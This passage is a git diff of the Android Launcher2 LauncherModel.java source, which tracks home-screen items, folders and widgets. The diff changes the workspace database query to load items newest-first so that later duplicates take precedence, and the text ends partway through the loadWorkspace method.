diff --git a/src/com/android/launcher2/LauncherModel.java b/src/com/android/launcher2/LauncherModel.java index e0b04dac..c61607e7 100644 --- a/src/com/android/launcher2/LauncherModel.java +++ b/src/com/android/launcher2/LauncherModel.java @@ -1,1996 +1,1999 @@ /* * Copyright (C) 2008 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.launcher2; import android.app.SearchManager; import android.appwidget.AppWidgetManager; import android.appwidget.AppWidgetProviderInfo; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.ContentProviderClient; import android.content.ContentResolver; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.content.Intent.ShortcutIconResource; import android.content.pm.ActivityInfo; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.content.res.Resources; import android.database.Cursor; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.net.Uri; import android.os.Environment; import android.os.Handler; import android.os.HandlerThread; import android.os.Parcelable; import android.os.Process; import android.os.RemoteException; import android.os.SystemClock; import android.util.Log; import com.android.launcher.R; import com.android.launcher2.InstallWidgetReceiver.WidgetMimeTypeHandlerData; import java.lang.ref.WeakReference; import java.net.URISyntaxException; import java.text.Collator; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Locale; /** * Maintains in-memory state of the Launcher. It is expected that there should be only one * LauncherModel object held in a static. Also provide APIs for updating the database state * for the Launcher. */ public class LauncherModel extends BroadcastReceiver { static final boolean DEBUG_LOADERS = false; static final String TAG = "Launcher.Model"; private static final int ITEMS_CHUNK = 6; // batch size for the workspace icons private final boolean mAppsCanBeOnExternalStorage; private int mBatchSize; // 0 is all apps at once private int mAllAppsLoadDelay; // milliseconds between batches private final LauncherApplication mApp; private final Object mLock = new Object(); private DeferredHandler mHandler = new DeferredHandler(); private LoaderTask mLoaderTask; private static final HandlerThread sWorkerThread = new HandlerThread("launcher-loader"); static { sWorkerThread.start(); } private static final Handler sWorker = new Handler(sWorkerThread.getLooper()); // We start off with everything not loaded. After that, we assume that // our monitoring of the package manager provides all updates and we never // need to do a requery. These are only ever touched from the loader thread. private boolean mWorkspaceLoaded; private boolean mAllAppsLoaded; private WeakReference<Callbacks> mCallbacks; // < only access in worker thread > private AllAppsList mAllAppsList; // sItemsIdMap maps *all* the ItemInfos (shortcuts, folders, and widgets) created by // LauncherModel to their ids static final HashMap<Long, ItemInfo> sItemsIdMap = new HashMap<Long, ItemInfo>(); // sItems is passed to bindItems, which expects a list of all folders and shortcuts created by // LauncherModel that are directly on the home screen (however, no widgets or shortcuts // within folders). static final ArrayList<ItemInfo> sWorkspaceItems = new ArrayList<ItemInfo>(); // sAppWidgets is all LauncherAppWidgetInfo created by LauncherModel. Passed to bindAppWidget() static final ArrayList<LauncherAppWidgetInfo> sAppWidgets = new ArrayList<LauncherAppWidgetInfo>(); // sFolders is all FolderInfos created by LauncherModel. Passed to bindFolders() static final HashMap<Long, FolderInfo> sFolders = new HashMap<Long, FolderInfo>(); // sDbIconCache is the set of ItemInfos that need to have their icons updated in the database static final HashMap<Object, byte[]> sDbIconCache = new HashMap<Object, byte[]>(); // </ only access in worker thread > private IconCache mIconCache; private Bitmap mDefaultIcon; private static int mCellCountX; private static int mCellCountY; public interface Callbacks { public boolean setLoadOnResume(); public int getCurrentWorkspaceScreen(); public void startBinding(); public void bindItems(ArrayList<ItemInfo> shortcuts, int start, int end); public void bindFolders(HashMap<Long,FolderInfo> folders); public void finishBindingItems(); public void bindAppWidget(LauncherAppWidgetInfo info); public void bindAllApplications(ArrayList<ApplicationInfo> apps); public void bindAppsAdded(ArrayList<ApplicationInfo> apps); public void bindAppsUpdated(ArrayList<ApplicationInfo> apps); public void bindAppsRemoved(ArrayList<ApplicationInfo> apps, boolean permanent); public void bindPackagesUpdated(); public boolean isAllAppsVisible(); public void bindSearchablesChanged(); } LauncherModel(LauncherApplication app, IconCache iconCache) { mAppsCanBeOnExternalStorage = !Environment.isExternalStorageEmulated(); mApp = app; mAllAppsList = new AllAppsList(iconCache); mIconCache = iconCache; mDefaultIcon = Utilities.createIconBitmap( mIconCache.getFullResDefaultActivityIcon(), app); mAllAppsLoadDelay = app.getResources().getInteger(R.integer.config_allAppsBatchLoadDelay); mBatchSize = app.getResources().getInteger(R.integer.config_allAppsBatchSize); } public Bitmap getFallbackIcon() { return Bitmap.createBitmap(mDefaultIcon); } public void unbindWorkspaceItems() { sWorker.post(new Runnable() { @Override public void run() { unbindWorkspaceItemsOnMainThread(); } }); } /** Unbinds all the sWorkspaceItems on the main thread, and return a copy of sWorkspaceItems * that is save to reference from the main thread. */ private ArrayList<ItemInfo> unbindWorkspaceItemsOnMainThread() { // Ensure that we don't use the same workspace items data structure on the main thread // by making a copy of workspace items first. final ArrayList<ItemInfo> workspaceItems = new ArrayList<ItemInfo>(sWorkspaceItems); mHandler.post(new Runnable() { @Override public void run() { for (ItemInfo item : workspaceItems) { item.unbind(); } } }); return workspaceItems; } /** * Adds an item to the DB if it was not created previously, or move it to a new * <container, screen, cellX, cellY> */ static void addOrMoveItemInDatabase(Context context, ItemInfo item, long container, int screen, int cellX, int cellY) { if (item.container == ItemInfo.NO_ID) { // From all apps addItemToDatabase(context, item, container, screen, cellX, cellY, false); } else { // From somewhere else moveItemInDatabase(context, item, container, screen, cellX, cellY); } } /** * Move an item in the DB to a new <container, screen, cellX, cellY> */ static void moveItemInDatabase(Context context, final ItemInfo item, final long container, final int screen, final int cellX, final int cellY) { item.container = container; item.cellX = cellX; item.cellY = cellY; // We store hotseat items in canonical form which is this orientation invariant position // in the hotseat if (context instanceof Launcher && screen < 0 && container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { item.screen = ((Launcher) context).getHotseat().getOrderInHotseat(cellX, cellY); } else { item.screen = screen; } final Uri uri = LauncherSettings.Favorites.getContentUri(item.id, false); final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); values.put(LauncherSettings.Favorites.CONTAINER, item.container); values.put(LauncherSettings.Favorites.CELLX, item.cellX); values.put(LauncherSettings.Favorites.CELLY, item.cellY); values.put(LauncherSettings.Favorites.SCREEN, item.screen); sWorker.post(new Runnable() { public void run() { cr.update(uri, values, null, null); ItemInfo modelItem = sItemsIdMap.get(item.id); if (item != modelItem) { // the modelItem needs to match up perfectly with item if our model is to be // consistent with the database-- for now, just require modelItem == item String msg = "item: " + ((item != null) ? item.toString() : "null") + " modelItem: " + ((modelItem != null) ? modelItem.toString() : "null") + " creation tag of item: " + ((item != null) ? item.whereCreated : "null") + " creation tag of modelItem: " + ((modelItem != null) ? modelItem.whereCreated : "null") + " Error: ItemInfo passed to moveItemInDatabase doesn't match original"; throw new RuntimeException(msg); } // Items are added/removed from the corresponding FolderInfo elsewhere, such // as in Workspace.onDrop. Here, we just add/remove them from the list of items // that are on the desktop, as appropriate if (modelItem.container == LauncherSettings.Favorites.CONTAINER_DESKTOP || modelItem.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { if (!sWorkspaceItems.contains(modelItem)) { sWorkspaceItems.add(modelItem); } } else { sWorkspaceItems.remove(modelItem); } } }); } /** * Resize an item in the DB to a new <spanX, spanY, cellX, cellY> */ static void resizeItemInDatabase(Context context, final ItemInfo item, final int cellX, final int cellY, final int spanX, final int spanY) { item.spanX = spanX; item.spanY = spanY; item.cellX = cellX; item.cellY = cellY; final Uri uri = LauncherSettings.Favorites.getContentUri(item.id, false); final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); values.put(LauncherSettings.Favorites.CONTAINER, item.container); values.put(LauncherSettings.Favorites.SPANX, spanX); values.put(LauncherSettings.Favorites.SPANY, spanY); values.put(LauncherSettings.Favorites.CELLX, cellX); values.put(LauncherSettings.Favorites.CELLY, cellY); sWorker.post(new Runnable() { public void run() { cr.update(uri, values, null, null); ItemInfo modelItem = sItemsIdMap.get(item.id); if (item != modelItem) { // the modelItem needs to match up perfectly with item if our model is to be // consistent with the database-- for now, just require modelItem == item String msg = "item: " + ((item != null) ? item.toString() : "null") + " modelItem: " + ((modelItem != null) ? modelItem.toString() : "null") + " creation tag of item: " + ((item != null) ? item.whereCreated : "null") + " creation tag of modelItem: " + ((modelItem != null) ? modelItem.whereCreated : "null") + " Error: ItemInfo passed to resizeItemInDatabase doesn't match original"; throw new RuntimeException(msg); } } }); } /** * Returns true if the shortcuts already exists in the database. * we identify a shortcut by its title and intent. */ static boolean shortcutExists(Context context, String title, Intent intent) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { "title", "intent" }, "title=? and intent=?", new String[] { title, intent.toUri(0) }, null); boolean result = false; try { result = c.moveToFirst(); } finally { c.close(); } return result; } /** * Returns an ItemInfo array containing all the items in the LauncherModel. * The ItemInfo.id is not set through this function. */ static ArrayList<ItemInfo> getItemsInLocalCoordinates(Context context) { ArrayList<ItemInfo> items = new ArrayList<ItemInfo>(); final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, new String[] { LauncherSettings.Favorites.ITEM_TYPE, LauncherSettings.Favorites.CONTAINER, LauncherSettings.Favorites.SCREEN, LauncherSettings.Favorites.CELLX, LauncherSettings.Favorites.CELLY, LauncherSettings.Favorites.SPANX, LauncherSettings.Favorites.SPANY }, null, null, null); final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SPANY); try { while (c.moveToNext()) { ItemInfo item = new ItemInfo("17"); item.cellX = c.getInt(cellXIndex); item.cellY = c.getInt(cellYIndex); item.spanX = c.getInt(spanXIndex); item.spanY = c.getInt(spanYIndex); item.container = c.getInt(containerIndex); item.itemType = c.getInt(itemTypeIndex); item.screen = c.getInt(screenIndex); items.add(item); } } catch (Exception e) { items.clear(); } finally { c.close(); } return items; } /** * Find a folder in the db, creating the FolderInfo if necessary, and adding it to folderList. */ FolderInfo getFolderById(Context context, HashMap<Long,FolderInfo> folderList, long id) { final ContentResolver cr = context.getContentResolver(); Cursor c = cr.query(LauncherSettings.Favorites.CONTENT_URI, null, "_id=? and (itemType=? or itemType=?)", new String[] { String.valueOf(id), String.valueOf(LauncherSettings.Favorites.ITEM_TYPE_FOLDER)}, null); try { if (c.moveToFirst()) { final int itemTypeIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ITEM_TYPE); final int titleIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE); final int containerIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CONTAINER); final int screenIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.CELLY); FolderInfo folderInfo = null; switch (c.getInt(itemTypeIndex)) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: folderInfo = findOrMakeFolder(folderList, id); break; } folderInfo.title = c.getString(titleIndex); folderInfo.id = id; folderInfo.container = c.getInt(containerIndex); folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); return folderInfo; } } finally { c.close(); } return null; } /** * Add an item to the database in a specified container. Sets the container, screen, cellX and * cellY fields of the item. Also assigns an ID to the item. */ static void addItemToDatabase(Context context, final ItemInfo item, final long container, final int screen, final int cellX, final int cellY, final boolean notify) { item.container = container; item.cellX = cellX; item.cellY = cellY; // We store hotseat items in canonical form which is this orientation invariant position // in the hotseat if (context instanceof Launcher && screen < 0 && container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { item.screen = ((Launcher) context).getHotseat().getOrderInHotseat(cellX, cellY); } else { item.screen = screen; } final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); LauncherApplication app = (LauncherApplication) context.getApplicationContext(); item.id = app.getLauncherProvider().generateNewId(); values.put(LauncherSettings.Favorites._ID, item.id); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); sWorker.post(new Runnable() { public void run() { cr.insert(notify ? LauncherSettings.Favorites.CONTENT_URI : LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, values); if (sItemsIdMap.containsKey(item.id)) { // we should not be adding new items in the db with the same id throw new RuntimeException("Error: ItemInfo id (" + item.id + ") passed to " + "addItemToDatabase already exists." + item.toString()); } sItemsIdMap.put(item.id, item); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.put(item.id, (FolderInfo) item); // Fall through case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: if (item.container == LauncherSettings.Favorites.CONTAINER_DESKTOP || item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { sWorkspaceItems.add(item); } break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.add((LauncherAppWidgetInfo) item); break; } } }); } /** * Creates a new unique child id, for a given cell span across all layouts. */ static int getCellLayoutChildId( long container, int screen, int localCellX, int localCellY, int spanX, int spanY) { return (((int) container & 0xFF) << 24) | (screen & 0xFF) << 16 | (localCellX & 0xFF) << 8 | (localCellY & 0xFF); } static int getCellCountX() { return mCellCountX; } static int getCellCountY() { return mCellCountY; } /** * Updates the model orientation helper to take into account the current layout dimensions * when performing local/canonical coordinate transformations. */ static void updateWorkspaceLayoutCells(int shortAxisCellCount, int longAxisCellCount) { mCellCountX = shortAxisCellCount; mCellCountY = longAxisCellCount; } /** * Update an item to the database in a specified container. */ static void updateItemInDatabase(Context context, final ItemInfo item) { final ContentValues values = new ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); Runnable r = new Runnable() { public void run() { cr.update(LauncherSettings.Favorites.getContentUri(item.id, false), values, null, null); final ItemInfo modelItem = sItemsIdMap.get(item.id); if (item != modelItem) { // the modelItem needs to match up perfectly with item if our model is to be // consistent with the database-- for now, just require modelItem == item String msg = "item: " + ((item != null) ? item.toString() : "null") + " modelItem: " + ((modelItem != null) ? modelItem.toString() : "null") + " creation tag of item: " + ((item != null) ? item.whereCreated : "null") + " creation tag of modelItem: " + ((modelItem != null) ? modelItem.whereCreated : "null") + " Error: ItemInfo passed to updateItemInDatabase doesn't match original"; throw new RuntimeException(msg); } } }; if (sWorkerThread.getThreadId() == Process.myTid()) { r.run(); } else { sWorker.post(r); } } /** * Removes the specified item from the database * @param context * @param item */ static void deleteItemFromDatabase(Context context, final ItemInfo item) { final ContentResolver cr = context.getContentResolver(); final Uri uriToDelete = LauncherSettings.Favorites.getContentUri(item.id, false); sWorker.post(new Runnable() { public void run() { cr.delete(uriToDelete, null, null); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.remove(item.id); sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.remove((LauncherAppWidgetInfo) item); break; } sItemsIdMap.remove(item.id); sDbIconCache.remove(item); } }); } /** * Remove the contents of the specified folder from the database */ static void deleteFolderContentsFromDatabase(Context context, final FolderInfo info) { final ContentResolver cr = context.getContentResolver(); sWorker.post(new Runnable() { public void run() { cr.delete(LauncherSettings.Favorites.getContentUri(info.id, false), null, null); sItemsIdMap.remove(info.id); sFolders.remove(info.id); sDbIconCache.remove(info); sWorkspaceItems.remove(info); cr.delete(LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, LauncherSettings.Favorites.CONTAINER + "=" + info.id, null); for (ItemInfo childInfo : info.contents) { sItemsIdMap.remove(childInfo.id); sDbIconCache.remove(childInfo); } } }); } /** * Set this as the current Launcher activity object for the loader. */ public void initialize(Callbacks callbacks) { synchronized (mLock) { mCallbacks = new WeakReference<Callbacks>(callbacks); } } /** * Call from the handler for ACTION_PACKAGE_ADDED, ACTION_PACKAGE_REMOVED and * ACTION_PACKAGE_CHANGED. */ @Override public void onReceive(Context context, Intent intent) { if (DEBUG_LOADERS) Log.d(TAG, "onReceive intent=" + intent); final String action = intent.getAction(); if (Intent.ACTION_PACKAGE_CHANGED.equals(action) || Intent.ACTION_PACKAGE_REMOVED.equals(action) || Intent.ACTION_PACKAGE_ADDED.equals(action)) { final String packageName = intent.getData().getSchemeSpecificPart(); final boolean replacing = intent.getBooleanExtra(Intent.EXTRA_REPLACING, false); int op = PackageUpdatedTask.OP_NONE; if (packageName == null || packageName.length() == 0) { // they sent us a bad intent return; } if (Intent.ACTION_PACKAGE_CHANGED.equals(action)) { op = PackageUpdatedTask.OP_UPDATE; } else if (Intent.ACTION_PACKAGE_REMOVED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_REMOVE; } // else, we are replacing the package, so a PACKAGE_ADDED will be sent // later, we will update the package at this time } else if (Intent.ACTION_PACKAGE_ADDED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_ADD; } else { op = PackageUpdatedTask.OP_UPDATE; } } if (op != PackageUpdatedTask.OP_NONE) { enqueuePackageUpdated(new PackageUpdatedTask(op, new String[] { packageName })); } } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE.equals(action)) { // First, schedule to add these apps back in. String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask(PackageUpdatedTask.OP_ADD, packages)); // Then, rebind everything. startLoaderFromBackground(); } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE.equals(action)) { String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask( PackageUpdatedTask.OP_UNAVAILABLE, packages)); } else if (Intent.ACTION_LOCALE_CHANGED.equals(action)) { // If we have changed locale we need to clear out the labels in all apps. // Do this here because if the launcher activity is running it will be restarted. // If it's not running startLoaderFromBackground will merely tell it that it needs // to reload. Either way, mAllAppsLoaded will be cleared so it re-reads everything // next time. mAllAppsLoaded = false; mWorkspaceLoaded = false; startLoaderFromBackground(); } else if (SearchManager.INTENT_GLOBAL_SEARCH_ACTIVITY_CHANGED.equals(action) || SearchManager.INTENT_ACTION_SEARCHABLES_CHANGED.equals(action)) { if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { callbacks.bindSearchablesChanged(); } } } } /** * When the launcher is in the background, it's possible for it to miss paired * configuration changes. So whenever we trigger the loader from the background * tell the launcher that it needs to re-run the loader when it comes back instead * of doing it now. */ public void startLoaderFromBackground() { boolean runLoader = false; if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { // Only actually run the loader if they're not paused. if (!callbacks.setLoadOnResume()) { runLoader = true; } } } if (runLoader) { startLoader(mApp, false); } } public void startLoader(Context context, boolean isLaunching) { synchronized (mLock) { if (DEBUG_LOADERS) { Log.d(TAG, "startLoader isLaunching=" + isLaunching); } // Don't bother to start the thread if we know it's not going to do anything if (mCallbacks != null && mCallbacks.get() != null) { // If there is already one running, tell it to stop. LoaderTask oldTask = mLoaderTask; if (oldTask != null) { if (oldTask.isLaunching()) { // don't downgrade isLaunching if we're already running isLaunching = true; } oldTask.stopLocked(); } mLoaderTask = new LoaderTask(context, isLaunching); sWorker.post(mLoaderTask); } } } public void stopLoader() { synchronized (mLock) { if (mLoaderTask != null) { mLoaderTask.stopLocked(); } } } public boolean isAllAppsLoaded() { return mAllAppsLoaded; } /** * Runnable for the thread that loads the contents of the launcher: * - workspace icons * - widgets * - all apps icons */ private class LoaderTask implements Runnable { private Context mContext; private Thread mWaitThread; private boolean mIsLaunching; private boolean mStopped; private boolean mLoadAndBindStepFinished; private HashMap<Object, CharSequence> mLabelCache; LoaderTask(Context context, boolean isLaunching) { mContext = context; mIsLaunching = isLaunching; mLabelCache = new HashMap<Object, CharSequence>(); } boolean isLaunching() { return mIsLaunching; } private void loadAndBindWorkspace() { // Load the workspace if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindWorkspace mWorkspaceLoaded=" + mWorkspaceLoaded); } if (!mWorkspaceLoaded) { loadWorkspace(); if (mStopped) { return; } mWorkspaceLoaded = true; } // Bind the workspace bindWorkspace(); } private void waitForIdle() { // Wait until the either we're stopped or the other threads are done. // This way we don't start loading all apps until the workspace has settled // down. synchronized (LoaderTask.this) { final long workspaceWaitTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; mHandler.postIdle(new Runnable() { public void run() { synchronized (LoaderTask.this) { mLoadAndBindStepFinished = true; if (DEBUG_LOADERS) { Log.d(TAG, "done with previous binding step"); } LoaderTask.this.notify(); } } }); while (!mStopped && !mLoadAndBindStepFinished) { try { this.wait(); } catch (InterruptedException ex) { // Ignore } } if (DEBUG_LOADERS) { Log.d(TAG, "waited " + (SystemClock.uptimeMillis()-workspaceWaitTime) + "ms for previous step to finish binding"); } } } public void run() { // Optimize for end-user experience: if the Launcher is up and // running with the // All Apps interface in the foreground, load All Apps first. Otherwise, load the // workspace first (default). final Callbacks cbk = mCallbacks.get(); final boolean loadWorkspaceFirst = cbk != null ? (!cbk.isAllAppsVisible()) : true; keep_running: { // Elevate priority when Home launches for the first time to avoid // starving at boot time. Staring at a blank home is not cool. synchronized (mLock) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to " + (mIsLaunching ? "DEFAULT" : "BACKGROUND")); android.os.Process.setThreadPriority(mIsLaunching ? Process.THREAD_PRIORITY_DEFAULT : Process.THREAD_PRIORITY_BACKGROUND); } if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 1: loading workspace"); loadAndBindWorkspace(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 1: special: loading all apps"); loadAndBindAllApps(); } if (mStopped) { break keep_running; } // Whew! Hard work done. Slow us down, and wait until the UI thread has // settled down. synchronized (mLock) { if (mIsLaunching) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to BACKGROUND"); android.os.Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND); } } waitForIdle(); // second step if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 2: loading all apps"); loadAndBindAllApps(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 2: special: loading workspace"); loadAndBindWorkspace(); } } // Update the saved icons if necessary if (DEBUG_LOADERS) Log.d(TAG, "Comparing loaded icons to database icons"); for (Object key : sDbIconCache.keySet()) { updateSavedIcon(mContext, (ShortcutInfo) key, sDbIconCache.get(key)); } sDbIconCache.clear(); // Clear out this reference, otherwise we end up holding it until all of the // callback runnables are done. mContext = null; synchronized (mLock) { // If we are still the last one to be scheduled, remove ourselves. if (mLoaderTask == this) { mLoaderTask = null; } } } public void stopLocked() { synchronized (LoaderTask.this) { mStopped = true; this.notify(); } } /** * Gets the callbacks object. If we've been stopped, or if the launcher object * has somehow been garbage collected, return null instead. Pass in the Callbacks * object that was around when the deferred message was scheduled, and if there's * a new Callbacks object around then also return null. This will save us from * calling onto it with data that will be ignored. */ Callbacks tryGetCallbacks(Callbacks oldCallbacks) { synchronized (mLock) { if (mStopped) { return null; } if (mCallbacks == null) { return null; } final Callbacks callbacks = mCallbacks.get(); if (callbacks != oldCallbacks) { return null; } if (callbacks == null) { Log.w(TAG, "no mCallbacks"); return null; } return callbacks; } } // check & update map of what's occupied; used to discard overlapping/invalid items private boolean checkItemPlacement(ItemInfo occupied[][][], ItemInfo item) { int containerIndex = item.screen; if (item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { // Return early if we detect that an item is under the hotseat button if (Hotseat.isAllAppsButtonRank(item.screen)) { return false; } // We use the last index to refer to the hotseat and the screen as the rank, so // test and update the occupied state accordingly if (occupied[Launcher.SCREEN_COUNT][item.screen][0] != null) { Log.e(TAG, "Error loading shortcut into hotseat " + item + " into position (" + item.screen + ":" + item.cellX + "," + item.cellY + ") occupied by " + occupied[Launcher.SCREEN_COUNT][item.screen][0]); return false; } else { occupied[Launcher.SCREEN_COUNT][item.screen][0] = item; return true; } } else if (item.container != LauncherSettings.Favorites.CONTAINER_DESKTOP) { // Skip further checking if it is not the hotseat or workspace container return true; } // Check if any workspace icons overlap with each other for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { if (occupied[containerIndex][x][y] != null) { Log.e(TAG, "Error loading shortcut " + item + " into cell (" + containerIndex + "-" + item.screen + ":" + x + "," + y + ") occupied by " + occupied[containerIndex][x][y]); return false; } } } for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { occupied[containerIndex][x][y] = item; } } return true; } private void loadWorkspace() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; final Context context = mContext; final ContentResolver contentResolver = context.getContentResolver(); final PackageManager manager = context.getPackageManager(); final AppWidgetManager widgets = AppWidgetManager.getInstance(context); final boolean isSafeMode = manager.isSafeMode(); sWorkspaceItems.clear(); sAppWidgets.clear(); sFolders.clear(); sItemsIdMap.clear(); sDbIconCache.clear(); final ArrayList<Long> itemsToRemove = new ArrayList<Long>(); final Cursor c = contentResolver.query( - LauncherSettings.Favorites.CONTENT_URI, null, null, null, null); + LauncherSettings.Favorites.CONTENT_URI, null, null, null, + LauncherSettings.Favorites._ID + " DESC"); // +1 for the hotseat (it can be larger than the workspace) + // Load workspace in reverse order to ensure that latest items are loaded first (and + // before any earlier duplicates) final ItemInfo occupied[][][] = new ItemInfo[Launcher.SCREEN_COUNT + 1][mCellCountX + 1][mCellCountY + 1]; try { final int idIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites._ID); final int intentIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.INTENT); final int titleIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.TITLE); final int iconTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_TYPE); final int iconIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ICON); final int iconPackageIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_PACKAGE); final int iconResourceIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_RESOURCE); final int containerIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.CONTAINER); final int itemTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ITEM_TYPE); final int appWidgetIdIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.APPWIDGET_ID); final int screenIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SPANY); final int uriIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.URI); final int displayModeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.DISPLAY_MODE); ShortcutInfo info; String intentDescription; LauncherAppWidgetInfo appWidgetInfo; int container; long id; Intent intent; while (!mStopped && c.moveToNext()) { try { int itemType = c.getInt(itemTypeIndex); switch (itemType) { case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: intentDescription = c.getString(intentIndex); try { intent = Intent.parseUri(intentDescription, 0); } catch (URISyntaxException e) { continue; } if (itemType == LauncherSettings.Favorites.ITEM_TYPE_APPLICATION) { info = getShortcutInfo(manager, intent, context, c, iconIndex, titleIndex, mLabelCache); } else { info = getShortcutInfo(c, context, iconTypeIndex, iconPackageIndex, iconResourceIndex, iconIndex, titleIndex); } if (info != null) { info.intent = intent; info.id = c.getLong(idIndex); container = c.getInt(containerIndex); info.container = container; info.screen = c.getInt(screenIndex); info.cellX = c.getInt(cellXIndex); info.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, info)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: sWorkspaceItems.add(info); break; default: // Item is in a user folder FolderInfo folderInfo = findOrMakeFolder(sFolders, container); folderInfo.add(info); break; } sItemsIdMap.put(info.id, info); // now that we've loaded everthing re-save it with the // icon in case it disappears somehow. queueIconToBeChecked(sDbIconCache, info, c, iconIndex); } else { // Failed to load the shortcut, probably because the // activity manager couldn't resolve it (maybe the app // was uninstalled), or the db row was somehow screwed up. // Delete it. id = c.getLong(idIndex); Log.e(TAG, "Error loading 